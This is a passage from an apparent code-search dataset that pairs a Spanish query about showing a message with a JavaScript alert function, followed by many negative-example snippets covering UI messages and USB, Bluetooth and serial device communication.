\"0.5498902\",\n \"0.5495835\",\n \"0.5490609\",\n \"0.54902965\",\n \"0.5484413\",\n \"0.5482401\",\n \"0.54818577\",\n \"0.5481819\",\n \"0.54809994\",\n \"0.54805374\",\n \"0.5478793\",\n \"0.5476378\",\n \"0.5474274\",\n \"0.5471262\",\n \"0.54669434\",\n \"0.5466828\",\n \"0.5466264\",\n \"0.54656214\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":15,"cells":{"query":{"kind":"string","value":"funcion que muestra un mensaje cuando se pulsa no"},"document":{"kind":"string","value":"function mostrarMensaje() {\n //mostramos un mensaje\n alert(\"¡Nos sorprende tu respuesta!\");\n //cerramos la ventana\n window.close();\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function onMessageArrived(message) {\n console.log(message.payloadString);\n mentrada=message.payloadString;\n document.getElementById(\"tanto\").innerHTML=mentrada;\n\tc=1+1;\n if (mentrada == \"0\"){\n\t\talert(\"No hay alimento en el dispensador\");\n\t}\n\n }","function msgPerdeu() {\n swal({\n title: \"Perdeste!\",\n type: \"error\",\n timer: 3000,\n showConfirmButton: false\n });\n bloqueioBoneco();\n }","function imprimir(mensaje){\n console.log(mensaje);\n}","function imprimir(mensaje){\n console.log(mensaje);\n}","function imprimir(mensaje){\n console.log(mensaje);\n}","function clearSuccessMessage() {\n\n }","function mensajes(respuesta){\n\n\t\t\t\tvar foo = respuesta;\n\n\t\t\t\t\tswitch (foo) {\n\n\t\t\t\t\t\tcase \"no_exite_session\":\n\t\t\t\t\t\t//============================caso 1 NO EXISTE SESSION==================//\n\t\t\t\t\t\tswal(\n\t\t\t\t\t\t\t\t'Antes de comprar Inicia tu Session en la Pagina?',\n\t\t\t\t\t\t\t\t'Recuerda si no tienes cuenta en la pagina puedes registrarte?',\n\t\t\t\t\t\t\t\t'question'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\tbreak;\n\n\n\t\t\t\t\t\tcase \"saldo_insuficiente\":\n\t\t\t\t\t\t//==============CASO 2 SALDO INSUFICIENTE=======================//\n\n\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\ttype: 'error',\n\t\t\t\t\t\t\ttitle: 'Oops...',\n\t\t\t\t\t\t\ttext: 'Tu saldo es insuficiente para poder realizar la trasaccion, recarga tu monedero e intenta de nuevo',\n\t\t\t\t\t\t\tfooter: 'Puedes recargas tu saldo con nostros mas informacion en nuestras redes sociales'\n\t\t\t\t\t\t})\n\t\t\t\t\t\tbreak;\n\n\n\n\t\t\t\t\t}\n\t\t\t}","inviaMessaggio(){\n if(this.messaggioInputUtente != ''){\n this.contacts[this.contattoAttivo].messages.push({\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\n text: this.messaggioInputUtente,\n status: 'sent',\n stileMessaggio: 'message-sent'});\n this.messaggioInputUtente = '';\n setTimeout(()=>{\n this.contacts[this.contattoAttivo].messages.push({\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\n text: 'ok',\n status: 'received',\n stileMessaggio: 'message-received'});\n }, 1000);\n }\n }","function sucesso(msg) {\n \t$.notify({\n \tmessage: msg\n\n },{\n type: 'success',\n timer: 1000\n });\n}","function sucesso(msg) {\n \t$.notify({\n \tmessage: msg\n\n },{\n type: 'success',\n timer: 1000\n });\n}","function mensajeOk(mensaje) {\n $(\"#mensaje\").html(\"\");\n $(\"#mensaje\").append(mensaje);\n mostrarMensaje(\"mensaje\");\n ocultaMensaje(\"mensaje\");\n}","function sent() {\n console.info(\"Fine processo d'invio notizie\")\n}","function mensaje (){\n console.log('mensaje de la funcion');\n}","function imprimeMensaje() {\r\n console.log('Hola soy una funcion!');\r\n}","function mensajeBienvenida() {\n console.log(\"Bienvenido a Fabrega!\")\n console.log(\"Ingrese código de artículo a comprar: \")\n console.log(\"0001-Televisor\\n0002-Computadora\\n0003-Heladera\")\n}","function pulsaTecla(e){\n\tif(getOpcionInterfaz('correccion_rapida') && comprueba_pregunta()) preguntaRespondida();\n\treturn false;\n}","function mensaje(mje){\n //creo un div para contener el mensaje\n const div = document.createElement('div');\n //le asigno una clase para su visualizacion\n div.className = `alerta alert alert-warning mensaje`;\n //le agrego un mensaje\n div.appendChild(document.createTextNode(mje));\n //identifico y asigno el objeto contenenedor del div\n const contenedor = document.querySelector('.contenedor');\n //identifico y asigno el objeto para posicionar el mensaje encima del mismo\n const areaSig = document.querySelector('#card'); \n //\n //agregar el div creado al elemento contenedor\n contenedor.insertBefore(div, areaSig);\n // Remover el mensaje de alerta\n //quitar el elemento despues de 2 segundos\n setTimeout(function() {\n document.querySelector('.alerta').remove();\n }, 2000);\n \n}","mostra_successo(msg) {\n\t\tvar contenuto = document.getElementById(\"contenuto\");\n\t\twhile ( contenuto.firstChild != null) {\n\t\t\tcontenuto.removeChild(contenuto.firstChild);\n\t\t}\n\t\t$(\"#contenuto\").append(msg);\n\t\t\n\t}","async function valiMess(event){\n event.preventDefault(); //dont refresh any way\n let mes = document.getElementById('mes').value.trim()\n document.getElementById('mes').value = ''\n if(mes === \"\"){\n alert(\"message required\")\n event.preventDefault()\n return\n }\n\n document.getElementById(\"det\").style.visibility = \"visible\"\n await fetch(\"/addMessage?mess=\"+mes, {method: \"post\"})\n .then(res => res.json())\n .then(response => {\n for (let i in response) {\n if(response[i] === \"disconnected\")\n stopIntervalAndReturn()\n else if(response[i] === \"message required\"){\n alert(\"message required\")\n return\n }\n\n document.getElementById(\"det\").innerText = response[i]\n }\n })\n .catch(err => (console.log(err.message)))\n\n checkNewMessage()\n }","function message(retorno){\n\n if(retorno[0] == 'msg'){\n let msg = $('').addClass('alert alert-'+retorno[1]+' alert-dismissible fadeshow col-md-12');\n msg.append($('').addClass('close').attr('data-dismiss', 'alert').html('×'))\n msg.attr('align', 'center').append('debug: '\" + msg + \"'\");\n\t\t\tbreak;\n\t\t}\n\t\tcase CMD_PING:\n\t\t\tmessageln(\"ping\");\n\t\t\tbreak;\n\t\tcase CMD_VERSION:\n\t\t{\n\t\t\tvar version = \"\" + dv.getUint8(2) + \".\" + dv.getUint8(3);\n\t\t\tmessageln(\"command: Version \" + version);\n\t\t\tbreak;\n\t\t}\n\t\tdefault:\n\t\t\terrorln(\"unknown command\");\n\t\t\tbreak;\n\t}\n\n\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n}","async function findUSBDevice(event) {\n // STEP 1A: Auto-Select first port\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\n // ports = await getPorts()\n //STEP 1A: GetPorts - Automatic at initialization\n // -Enumerate all attached devices\n // -Check for permission based on vendorID & productID\n devices = await navigator.usb.getDevices();\n ports = devices.map((device) => new serial.Port(device)); //return port\n\n if (ports.length == 0) {\n port.statustext_connect =\n 'NO USB DEVICE automatically found on page load';\n console.log(port.statustext_connect);\n } else {\n var statustext = '';\n if (event.type == 'AutoConnect') {\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\n } else if (event.type == 'Reconnect') {\n statustext = 'RECONNECTED USB DEVICE!';\n }\n port = ports[0];\n try {\n await port.connect();\n } catch (error) {\n console.log(error);\n }\n port.statustext_connect = statustext;\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n }\n }\n\n // STEP 1B: User connects to Port\n if (\n event.type == 'pointerup' ||\n event.type == 'touchend' ||\n event.type == 'mouseup'\n ) {\n event.preventDefault(); //prevents additional downstream call of click listener\n try {\n //STEP 1B: RequestPorts - User based\n // -Get device list based on Arduino filter\n // -Look for user activation to select device\n const filters = [\n { vendorId: 0x2341, productId: 0x8036 },\n { vendorId: 0x2341, productId: 0x8037 },\n { vendorId: 0x2341, productId: 0x804d },\n { vendorId: 0x2341, productId: 0x804e },\n { vendorId: 0x2341, productId: 0x804f },\n { vendorId: 0x2341, productId: 0x8050 },\n ];\n\n device = await navigator.usb.requestDevice({ filters: filters });\n port = new serial.Port(device); //return port\n\n await port.connect();\n\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n } catch (error) {\n console.log(error);\n }\n waitforClick.next(1);\n }\n} //FUNCTION findUSBDevice","function bleConsole(value){\n const y = document.getElementById('serial')\n /* check if the device is connected if true send file*/\n if(isConnected){\n /* need to read the value of the TX_char\n * may need some kind of loop or trigger to watch if new data comes in????\n * not sure what I want to implement for this yet....\n */\n // y.innerText = TX_characteristic.readValue(); TODO does not work\n }else{\n const x = document.getElementById('console');\n x.style.display =\"none\";\n alert(\"MicroTrynkit device not connected. Please pair it first.\");\n }\n\n}","writeLoginControl(data) {\n var arrData = [17,16,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginControl_1',data_send);\n for (var i = 0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginControl successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginControl failed ',error);\n });\n }","function onData(d){\n var frame,\n generatedData,\n response;\n\n frame = TBus.parse(d);\n\n if(!frame.valid){\n console.log(\"Invalid frame received.\");\n return;\n }\n\n if(!Devices[frame.receiver[0]]){\n console.log(\"Device is not supported.\");\n }\n\n generatedData = Devices[frame.receiver[0]].randomData();\n response = TBus.prepareCommand(frame.sender, frame.receiver, generatedData);\n\n setTimeout(function(){\n /*\n var one,\n two;\n\n one = new Buffer(response.slice(0,5));\n two = new Buffer(response.slice(5,response.length));\n serialPort.write(one);\n setTimeout(function(){\n serialPort.write(two);\n },110);\n */\n serialPort.write(response);\n },0);\n}","enumerate_devices() {\n const filters = {filters: [\n {vendorId: 0x16D0}\n ]};\n\n if (!this.usb) {\n this.log(\"error: WebUSB not supported\\n\", \"red\");\n return;\n }\n\n this.usb.requestDevice(filters)\n .then(dev => this.connect_device(dev))\n .catch(error => {\n if (String(error) === \"SecurityError: Must be handling a user gesture to show a permission request.\") {\n this.log(\"Please click 'Connect Device' on the left toolbar.\", \"black\");\n } else if (String(error) === \"NotFoundError: No device selected.\") {\n this.log(\"Please select a WebUSB device.\", \"red\");\n } else {\n this.log(String(error));\n this.log(\"error: unable to enumerate USB device list\");\n }\n });\n }","function bluetooth(){\n\n if (!navigator.bluetooth) {\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\n }\n const z = document.getElementById('debugger');\n const y = document.getElementById('serial')\n\n if (z.style.display ===\"none\"){\n z.style.display = \"block\";\n }else{\n }\n \n z.innerHTML= z.innerHTML + \"\\n\"+ ('Requesting Bluetooth Devices');\n navigator.bluetooth.requestDevice({\n filters:[{\n name: 'MicroTrynkit',\n }],\n optionalServices: [service]\n })\n .then(device=>{\n z.innerHTML = z.innerHTML + \"\\n\"+ (\"Connected to: \");\n z.innerHTML= z.innerHTML +\"\\n\"+ (\">Name:\" + device.name);\n z.innerHTML= z.innerHTML + \"\\n\"+ (\">id:\" + device.id);\n isConnected = 1;\n bledevice = device;\n return device.gatt.connect();\n })\n .then(server=>{\n bleserver = server;\n return server.getPrimaryService(service);\n })\n .then(service => {\n return service.getCharacteristic(RX_char)\n .then(characteristic => {\n console.log(characteristic);\n RX_characteristic = characteristic;\n return service.getCharacteristic(TX_char);\n })\n })\n .then(characteristic => {\n console.log(characteristic);\n TX_characteristic = characteristic;\n /* add an event listener to the TX characteristic */\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\n console.log(TX_characteristic.readValue());\n })\n .then( value =>{\n /* try to read from the device and print to console */\n // y.innerText = value.getUint8(0);\n // console.log(value.getUint8(0));\n })\n .catch(error=> {\n z.innerHTML= z.innerHTML + \"\\n\"+ (error);\n });\n}","function ble_transmit_cmd(cmd) {\n if(cmd == 0){\n for(var i = 0; i < g_rawcode_length/2; i = i + 1){\n uiProgressBar(g_rawcode_length/2, i+1);\n\n var tx_data = [];\n\n /*\n for(var j = 0; j < 2; j = j + 1){\n tx_data[j] = 0xff & (i >> (8*(1-j)));\n }\n */\n //CMD\n tx_data[0] = 0;\n //index\n tx_data[1] = i & 0xff;\n\n\n for(var j = 0; j < 2; j = j + 1){\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\n }\n\n //freq(0:38k, 1;40k)\n tx_data[4] = 0;\n //Format(0:unknown, 1:NEC, 2:SONY...)\n tx_data[5] = 1;\n\n //Number of Frame\n for(var j = 0; j < 2; j = j + 1){\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\n }\n\n //Data0\n for(var j = 0; j < 4; j = j + 1){\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Data1\n for(var j = 0; j < 4; j = j + 1){\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Transmit\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n }else{\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix - Req\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n}","async function upload( cmd_array, fastspeed = true){\n let fullflag = false\n \n if(cmd_array.length>1){\n fullflag = Boolean(parseInt(cmd_array[1]))\n }\n\n if(fastspeed){\n await blxConnectionFast()\n if(blxErrMsg) return\n }\n\n for(;;){ // Unlock Device (locked in FAST mode)\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\n if (blxErrMsg) break\n\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\n }\n \n await calcMem(true) // With adjust\n if(blxErrMsg) break\n\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\n\n if(blxUserCB) {\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \n }\n \n await updateFile('data.edt', fullflag)\n if(blxErrMsg) break\n\n await updateFile('data.edt.old', fullflag)\n //if(blxErrMsg) break // not needed\n\n break \n } // for\n\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\n await blxConnectionSlow()\n }\n }","function request(value) {\n\t// Init variables\n\tlet src;\n\tlet cmd;\n\n\tswitch (value) {\n\t\tcase 'motor-values' : {\n\t\t\tsrc = 'DIA';\n\t\t\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault : return;\n\t}\n\n\tbus.data.send({\n\t\tsrc : src,\n\t\tdst : 'DME',\n\t\tmsg : cmd,\n\t});\n}","async request() {\n let options = {\n filters: [\n {\n name: \"balenaBLE\"\n }\n ],\n optionalServices: [0xfff0, 0xfff1]\n };\n if (navigator.bluetooth == undefined) {\n alert(\"Sorry, Your device does not support Web BLE!\");\n return;\n }\n this.device = await navigator.bluetooth.requestDevice(options);\n if (!this.device) {\n throw \"No device selected\";\n }\n this.device.addEventListener(\"gattserverdisconnected\", this.onDisconnected);\n }","async function writepumpdurationtoBLE(num){\n console.log('Attempting bluetooth write')\n var arrInt8 = toBytesInt16(num)\n ble.twrite_pumpduration=performance.now()\n try{\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\n console.log(textstr)\n ble.statustext = textstr\n // \n //wdm(textstr)\n }\n catch(error) {\n var textstr = 'Could not write pump duration to ble device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n }\n}","function sendSerialData() {\n\t\tif (isLoaded()) {\n\t\t\t// Beggining and ending patterns that signify port has responded\n\t\t\t// chr(2) and chr(13) surround data on a Mettler Toledo Scale\n\t\t\tqz.setSerialBegin(chr(2));\n\t\t\tqz.setSerialEnd(chr(13));\n\t\t\t// Baud rate, data bits, stop bits, parity, flow control\n\t\t\t// \"9600\", \"7\", \"1\", \"even\", \"none\" = Default for Mettler Toledo Scale\n\t\t\tqz.setSerialProperties(\"9600\", \"7\", \"1\", \"even\", \"none\");\n\t\t\t// Send raw commands to the specified port.\n\t\t\t// W = weight on Mettler Toledo Scale\n\t\t\tqz.send(document.getElementById(\"port_name\").value, \"\\nW\\n\");\n\t\t\t\n\t\t\t// Automatically called when \"qz.send()\" is finished waiting for \n\t\t\t// a valid message starting with the value supplied for setSerialBegin()\n\t\t\t// and ending with with the value supplied for setSerialEnd()\n\t\t\twindow['qzSerialReturned'] = function(portName, data) {\n\t\t\t\tif (qz.getException()) {\n\t\t\t\t\talert(\"Could not send data:\\n\\t\" + qz.getException().getLocalizedMessage());\n\t\t\t\t\tqz.clearException(); \n\t\t\t\t} else {\n\t\t\t\t\tif (data == null || data == \"\") { // Test for blank data\n\t\t\t\t\t\talert(\"No data was returned.\")\n\t\t\t\t\t} else if (data.indexOf(\"?\") !=-1) { // Test for bad data\n\t\t\t\t\t\talert(\"Device not ready. Please wait.\")\n\t\t\t\t\t} else { // Display good data\n\t\t\t\t\t\talert(\"Port [\" + portName + \"] returned data:\\n\\t\" + data);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t}","function getWeMoData() {\n var wemoHeaders = { \n \"Content-Type\": \"application/json\", \n \"SOAPACTION\": \"urn:Belkin:service:basicevent:1#GetBinaryState\",\n };\n var wemoState = '>' + \n '' +\n \"\" + \n '' + \n \"1 \" + \n \" \" + \n \" \" + \n \" \"\n var wemoOptions =\n {\n \"method\" : \"post\",\n \"headers\" : wemoHeaders,\n \"muteHttpExceptions\": true,\n \"payload\" : wemoState,\n };\n\n var ddnsDevices = [ \"WemoXmas\", \"WemoGazebo\" ];\n props.setProperty( \"weNum\", ddnsDevices.length ); \n \n for (var i = 0; i < ddnsDevices.length; i++) {\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \"URL\") + \"/upnp/control/basicevent1\").getContentText();\n Logger.log(response);\n var wemoJson = JSON.parse(response);\n state = wemoJSON.BinaryState;\n props.setProperties( \"we\" + String(i), state ); \n /* send to ATT M2X*/\n var streams = [ \"we0\", \"we1\", \"we2\", \"we3\" ];\n sendDataATT(ddnsDevices[i], streams);\n logProps(streams);\n }\n \n}","function OpenAVR(device)\n{\n if (device.deviceDescriptor.idVendor != kAtmel ||\n device.deviceDescriptor.idProduct != kEVK1101)\n {\n return; // (not our device)\n }\n\n try {\n device.open();\n device.interfaces[0].claim();\n // find first unused input >= 2\n for (var i=2; ; ++i) {\n if (i < avrs.length && avrs[i]) continue;\n avrs[i] = device;\n device.avrNum = i;\n var endIn = device.interfaces[0].endpoints[0];\n var endOut = device.interfaces[0].endpoints[1];\n endIn.avrNum = i;\n endOut.avrNum = i;\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endIn.timeout = 1000;\n endOut.timeout = 1000;\n // (must install handlers before we start polling)\n endIn.on('data', HandleData);\n endIn.on('error', HandleError);\n endOut.on('error', HandleError);\n endIn.startPoll(4, 256);\n\n // add member function to send command to AVR\n device.SendCmd = SendCmd;\n // send initial command to get AVR serial number and software version\n device.SendCmd(\"a.ser;b.ver\\n\");\n break;\n }\n }\n catch (err) {\n Log('Error opening AVR device');\n }\n}","function sendCommand(device_id, command) {\n\tnew Ajax.Request(\"/controls/sendCommand\", { \n\t\tmethod: \"get\", \n\t\tparameters: { \n\t\t\t\"device_id\": device_id,\n\t\t\t\"command\": command,\n\t\t}\n\t});\t\n}","function send (token, deviceId, payload, cb) {\n\trequest.post({\n\t\turl,\n\t\tbody: Buffer.concat([new Buffer(deviceId, 'hex'), payload]),\n\t\theaders: {\n\t\t\t'Content-Type': 'application/octet-stream',\n\t\t\t'Authorization': 'Token ' + token,\n\t\t},\n\t}, (err, httpResponse, body) => {\n\t\tif (err) return cb(err)\n\n\t\tif (httpResponse.statusCode !== 200) {\n\t\t\treturn cb('Error in ConCaVa (' + httpResponse.statusMessage + '): ' + body)\n\t\t}\n\n\t\tcb()\n\t})\n}","function setupUSBEventHandlers(result) {\n\tconsole.log('App was granted the \"usbDevices\" permission.');\n\tchrome.usb.findDevices(device_info, function(devices) {\n\t\tconsole.log('Found ' + devices.length + ' devices.');\n\t\tif (!devices || !devices.length) {\n\t\t\treturn;\n\t\t}\n\t\tmp_device = devices[0];\n\t\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n\n\t\tchangeState(state.ready);\n\t});\n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){console.log(\"Got error: \" + e.message); });\n }); \n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n }); \n}","update() {\n\t\tthis.dev.controlTransfer(0xb2, 0x06, 0, 0, 128).then((status) => {\n\t\t\tif(status.length != 128) {\n\t\t\t\treturn this.error(`Status size error. Received: ${status.length}`);\n\t\t\t}\n\t\t\tthis.parseStatus(status);\n\t\t});\n\t}","function sendToSerial(data){\n var objFromBuffer = JSON.parse(data);\n console.log(\"sending to serial: \", objFromBuffer.data);\n if(objFromBuffer.data !== undefined){\n myPort.write(objFromBuffer.data); \n }\n}","function respond(){\n\t\t\t\t\t// flush HTTP response\n\t\t\t\t\tvar bin = responsePacket.serialize();\n\t\t\t\t\t//sys.puts( utils.hex(bin) );\n\t\t\t\t\t//sys.puts( sys.inspect(responsePacket) );\n\t\t\t\t\tres.writeHead( 200, {\n\t\t\t\t\t\t'Content-Type': 'application/x-amf',\n\t\t\t\t\t\t'Content-Length': bin.length \n\t\t\t\t\t} );\n\t\t\t\t\tres.write( bin, \"binary\" );\n\t\t\t\t\tres.end();\n\t\t\t\t}","function WebUSBSerialCommunicator (params) {\n var self = this;\n\n self.debugMode = false;\n if(typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.debug === \"boolean\") {\n self.debugMode = params.debug;\n }\n\n if(typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.device === \"object\") {\n if (params.device.vendorId === FTDI_USB_VENDOR_ID && params.device.productId === FTDI_USB_PRODUCT_ID) {\n this.serial = new WebFTDIUSBSerialPort({\n device: params.device,\n debug: self.debugMode\n });\n } else if (params.device.vendorId === NATIVE_USB_VENDOR_ID && params.device.productId === NATIVE_USB_PRODUCT_ID) {\n this.serial = new WebNativeUSBSerialPort({\n device: params.device,\n debug: self.debugMode\n });\n } else {\n throw new Error(\"Device's vendor ID and product ID do not match a TappyUSB\");\n }\n } else if (typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.serial === \"object\"){\n // this is just for testing and should not be used\n this.serial = params.serial;\n } else {\n throw new Error(\"Must specify a TappyUSB device\");\n }\n\n this.isConnecting = false;\n this.hasAttached = false;\n this.disconnectImmediately = false;\n this.disconnectCb = function() {};\n\n this.dataReceivedCallback = function(bytes) {\n\n };\n this.errorCallback = function(data) {\n\n };\n this.readCallback = function(buff) {\n self.dataReceivedCallback(new Uint8Array(buff));\n };\n }","writeLoginSetting(data) {\n var arrData = [17,32,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginSetting_1',data_send);\n for (var i =0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginSetting_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginSetting successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginSetting failed ',error);\n });\n }","function sendToSerial(data) {\n console.log(\"sending to serial: \" + data);\n port.write(data);\n}","function HandleResponse(avrNum, responseID, msg)\n{\n switch (responseID) {\n case 'a': // a = get serial number\n var avr;\n avrs[avrNum].avrSN = msg; // save s/n in device object\n for (var i=0; i= 8 && msg.substr(0,1) == 'm') {\n var n = msg.substr(1,1); // motor number\n var a = msg.split(' ');\n for (var i=0; i 0) continue;\n } else {\n // allow negative motor speed when at top limit\n if (motorSpd[mot] < 0) continue;\n }\n avrs[0].SendCmd(\"c.m\" + mot + \" halt\\n\");\n var which = isBottom ? \"lower\" : \"upper\";\n Log(\"M\" + mot + \" halted! (hit \" + which + \" limit switch)\");\n }\n }\n }\n } break;\n\n case 'z': // z = disable watchdog timer\n // forget about the unknown AVR\n avrs[avrNum].interfaces[0].endpoints[0].device = avrs[avrNum];\n avrs[avrNum].interfaces[0].endpoints[0].on('end', HandleEnd);\n avrs[avrNum].interfaces[0].endpoints[0].stopPoll();\n avrs[avrNum] = null;\n break;\n\n default:\n Log('AVR'+avrNum, 'Unknown response:', msg);\n break;\n }\n return avrNum;\n}","async function blxDeviceCmd (cmd, timeout_ms = DEV_TIMEOUT_MS) { // case dep.\n if (blxCmdBusy === true) {\n console.warn('*** BLX BUSY (Since ' + (Date.now() - blxCmdBusy_t0).toFixed(0) + ' msec) ***')\n return\n }\n\n if (full_connected_flag !== true) {\n if (NUS_device === undefined) {\n blxErrMsg = 'ERROR(DeviceCmd): Not Connected!'\n return\n } else {\n await blxConnectNus(0, 1) // Reconnect with SCAN\n if (blxErrMsg) return\n }\n }\n\n blxCmdBusy = true\n blxCmdLast = cmd\n blxCmdBusy_t0 = Date.now()\n await bleSendData(cmd)\n await wait_blx(timeout_ms)\n blxCmdBusy = false\n }","function send2LMviaBT(value) { //value is an arry of bytes\r\n //let encoder = new TextEncoder('utf-8');\r\n mDebugMsg1(1,'Setting Characteristic User Description...');\r\n gattCharacteristic.writeValue(value)\r\n .then(_ => {\r\n \t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\r\n })\r\n .catch(error => {\r\n\t\t//todo9: userfriendly message\r\n \t mDebugMsg1(1,'Argh! ' + error);\r\n });\r\n\r\n\r\n }","async function requestBarcodePrinter() {\n console.log(navigator)\n navigator.usb &&\n navigator.usb\n .requestDevice({\n filters: [\n {\n vendorId: 5380,\n // classCode: 0xff, // vendor-specific\n // protocolCode: 0x01,\n },\n ],\n })\n .then(selectedDevice => {\n setBarcodePrinter(selectedDevice)\n })\n .catch(errorInfo => {\n console.log(errorInfo)\n // message.error(i18n.t`Cannot find label printer`)\n })\n }","_sendData() {\n\n }","function sendData() {\n // convert the value to an ASCII string before sending it:\n serialPort.write(brightness.toString());\n console.log('Sending ' + brightness + ' out the serial port');\n }","function raspiWrite(component, value){\t\n\tconst data = {\n\t\tValue: value\n\t};\n\n\tconst option = {\n\t\tmethod: 'POST',\n\t\tbody: JSON.stringify(data), \n\t\theaders:{\n\t\t\t'Content-Type': 'application/json'\n\t\t}\n\t}\n\tfetch('/raspi/' + component, option)\n\t.then(console.log(\"LED actualizado\"));\n}","function sendRequest(sensorType, isSensorOn, dataByte) {\n var newRequest = new XMLHttpRequest();\n newRequest.open(\"POST\", `http://${window.location.host}/pi_data`, true);\n newRequest.setRequestHeader(\"Content-Type\", \"application/json\");\n newRequest.send(\n JSON.stringify({\n sensor: sensorType,\n isSensorOn: isSensorOn,\n mode: dataByte,\n })\n );\n}","function trans_appbin(idx) {\n let btdev = btdevs[idx];\n let seq = btdev.wrtseq;\n\n showProgress(idx);\n\n if (seq >= mrbbin.byteLength / mrb_chunk_size) {\n btdev.wrtseq = -1;\n let buf = [0x07, 0x70, 0x61, 0x73, 0x73, 0x00];\n btdev.bt.write(\"WriteApp\", buf);\n console.log(\"Transfer completed. idx=\" + idx);\n return;\n }\n\n // var binbuf = [0x06, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\n // binbuf[1] = Math.floor(seq / 256);\n // binbuf[2] = seq % 256;\n btdev.binbuf[1] = Math.floor(seq / 256);\n btdev.binbuf[2] = seq % 256;\n\n for (var i=0; i {\n let allData = \"\";\n res.on('data', function(data) { allData += data; });\n res.on('close', function(data) { console.log(\"Closed: \" + allData); }); \n }).end(content);\n}","function sendData() {\n // convert the value to an ASCII string before sending it:\n myPort.write(brightness.toString());\n console.log('Sending ' + brightness + ' out the serial port');\n // increment brightness by 10 points. Rollover if > 255:\n if (brightness < 255) {\n brightness+= 10;\n } else {\n brightness = 0;\n }\n }","function 